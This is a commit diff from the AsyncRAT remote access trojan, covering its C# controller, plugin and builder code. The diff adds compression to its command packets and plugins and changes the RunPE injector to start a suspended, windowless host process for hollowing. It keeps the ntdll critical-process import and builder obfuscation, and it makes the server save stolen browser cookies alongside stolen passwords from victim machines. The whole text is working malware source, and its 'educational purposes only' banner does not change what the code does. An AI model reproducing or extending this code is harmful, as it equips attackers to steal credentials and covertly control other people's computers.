return Zip.Compress(r);
}
}

View File

@ -2,6 +2,8 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
@ -60,6 +62,42 @@ namespace Plugin
}
}
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
}

View File

@ -70,7 +70,7 @@ namespace Plugin
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
try
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 2 + 2, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 0x00000004u | 0x08000000u, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
int fileAddress = BitConverter.ToInt32(data, 120 / 2);
int imageBase = BitConverter.ToInt32(data, fileAddress + 26 + 26);
int[] context = new int[179];

View File

@ -56,6 +56,7 @@
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="RunPE.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

View File

@ -0,0 +1,45 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -0,0 +1,46 @@
using System;
using System.IO;
using System.IO.Compression;
using System.Threading.Tasks;
namespace Server.Algorithm
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -89,7 +89,13 @@ namespace Server.Connection
BytesRecevied += Recevied;
if (ClientMS.Length == ClientBuffersize)
{
ThreadPool.QueueUserWorkItem(new Packet().Read, new object[] { ClientMS.ToArray(), this });
ThreadPool.QueueUserWorkItem(new Packet
{
client = this,
data = ClientMS.ToArray(),
}.Read, null);
ClientBuffer = new byte[4];
ClientMS.Dispose();
ClientMS = new MemoryStream();

View File

@ -23,7 +23,7 @@ namespace Server.Connection
ReceiveBufferSize = 50 * 1024,
};
Server.Bind(ipEndPoint);
Server.Listen(100);
Server.Listen(500);
new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
Server.BeginAccept(EndAccept, null);
}

View File

@ -570,7 +570,7 @@ namespace Server
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "sendMemory";
packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())));
if (formSend.comboBox1.SelectedIndex == 0)
{
packet.ForcePathObject("Inject").AsString = "";
@ -587,6 +587,7 @@ namespace Server
foreach (Clients client in GetSelectedClients())
{
client.LV.ForeColor = Color.Red;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
@ -604,7 +605,8 @@ namespace Server
{
try
{
OpenFileDialog openFileDialog = new OpenFileDialog();
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Multiselect = true;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
@ -618,16 +620,21 @@ namespace Server
foreach (Clients client in GetSelectedClients())
{
client.LV.ForeColor = Color.Red;
foreach (string file in openFileDialog.FileNames)
{
await packet.ForcePathObject("File").LoadFileAsBytes(file);
await Task.Run(() =>
{
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(file)));
packet.ForcePathObject("Extension").AsString = Path.GetExtension(file);
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
});
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
@ -1050,16 +1057,17 @@ namespace Server
}
}
private async void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
private void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
{
try
{
OpenFileDialog openFileDialog = new OpenFileDialog();
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "sendFile";
await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName)));
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
packet.ForcePathObject("Update").AsString = "true";
@ -1070,10 +1078,12 @@ namespace Server
foreach (Clients client in GetSelectedClients())
{
client.LV.ForeColor = Color.Red;
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
}
}
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);

View File

@ -44,9 +44,7 @@
this.richTextBox1.ShortcutsEnabled = false;
this.richTextBox1.Size = new System.Drawing.Size(557, 210);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" +
"ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" +
"ional purposes only.\n\n";
this.richTextBox1.Text = resources.GetString("richTextBox1.Text");
this.richTextBox1.ZoomFactor = 1.1F;
//
// FormAbout

View File

@ -117,6 +117,16 @@
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="richTextBox1.Text" xml:space="preserve">
<value>
│ Author NYAN CAT
│ Name AsyncRAT © 2019
│ Page GitHub.com/NYAN-x-CAT
│ Twitter Twitter.com/NYAN_x_CAT
This program is distributed for educational purposes only.
</value>
</data>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>

View File

@ -203,7 +203,10 @@ namespace Server.Forms
if (chkObfu.Checked)
{
//EncryptString.DoEncrypt(asmDef);
await Task.Run(() =>
{
Renaming.DoRenaming(asmDef);
});
}
asmDef.Write(saveFileDialog1.FileName);
asmDef.Dispose();

View File

@ -45,10 +45,9 @@ namespace Server
private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog O = new OpenFileDialog()
using (OpenFileDialog O = new OpenFileDialog())
{
Filter = "(*.exe)|*.exe"
};
O.Filter = "(*.exe)|*.exe";
if (O.ShowDialog() == DialogResult.OK)
{
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
@ -76,7 +75,7 @@ namespace Server
toolStripStatusLabel1.ForeColor = Color.Black;
IsOK = true;
}
}
}
private void button2_Click(object sender, EventArgs e)

View File

@ -63,7 +63,7 @@ namespace Server.Handle_Packet
try
{
lock (Settings.LockListviewClients)
if (client != null && client.LV != null)
if (client.LV != null)
client.LV.ForeColor = Color.Empty;
}
catch { }

View File

@ -19,21 +19,25 @@ namespace Server.Handle_Packet
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Recovery");
string pass = unpack_msgpack.ForcePathObject("Password").AsString;
//string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString;
if (!string.IsNullOrWhiteSpace(pass))// || !string.IsNullOrWhiteSpace(cookies))
string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString;
if (!string.IsNullOrWhiteSpace(pass) || !string.IsNullOrWhiteSpace(cookies))
{
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
//File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine));
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies);
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
}
else
{
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
}
client?.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg(ex.Message, Color.Red);
}
catch { }
}
}
}

View File

@ -8,14 +8,13 @@ namespace Server.Handle_Packet
{
public class Packet
{
public void Read(object Obj)
public Clients client;
public byte[] data;
public void Read(object o)
{
Clients client = null;
try
{
object[] array = Obj as object[];
byte[] data = (byte[])array[0];
client = (Clients)array[1];
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(data);

View File

@ -2,6 +2,7 @@
using Server.Algorithm;
using Server.Handle_Packet;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Text;
@ -49,7 +50,11 @@ namespace Server.Helper
{
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
{
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(plugin))));
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
#if DEBUG
byte[] plg = Zip.Compress(File.ReadAllBytes(plugin));
Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}");
#endif
}
}
catch (Exception ex)

View File

@ -41,7 +41,7 @@
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo></ILMergeDebugInfo>
<ILMergeDebugInfo>false</ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>

View File

@ -10,6 +10,7 @@
*
* Credit -> github.com/ymofen/SimpleMsgPack.Net
*/
using Server.Algorithm;
using System;
using System.Collections;
using System.Collections.Generic;
@ -498,6 +499,7 @@ namespace Server.MessagePack
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
@ -839,7 +841,7 @@ namespace Server.MessagePack
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
return Zip.Compress(r);
}
}

View File

@ -8,7 +8,7 @@
<ProjectGuid>{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}</ProjectGuid>
<OutputType>WinExe</OutputType>
<RootNamespace>Server</RootNamespace>
<AssemblyName>AsyncRAT-Sharp</AssemblyName>
<AssemblyName>AsyncRAT</AssemblyName>
<TargetFrameworkVersion>v4.6</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
@ -81,6 +81,7 @@
<Compile Include="Algorithm\Aes256.cs" />
<Compile Include="Algorithm\GetHash.cs" />
<Compile Include="Algorithm\Sha256.cs" />
<Compile Include="Algorithm\Zip.cs" />
<Compile Include="Forms\FormAbout.cs">
<SubType>Form</SubType>
</Compile>

View File

@ -15,7 +15,7 @@ namespace Server
public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12";
public static X509Certificate2 ServerCertificate;
public static readonly string Version = "AsyncRAT 0.5.4";
public static readonly string Version = "AsyncRAT 0.5.4B";
public static object LockListviewClients = new object();
public static object LockListviewLogs = new object();
public static object LockListviewThumb = new object();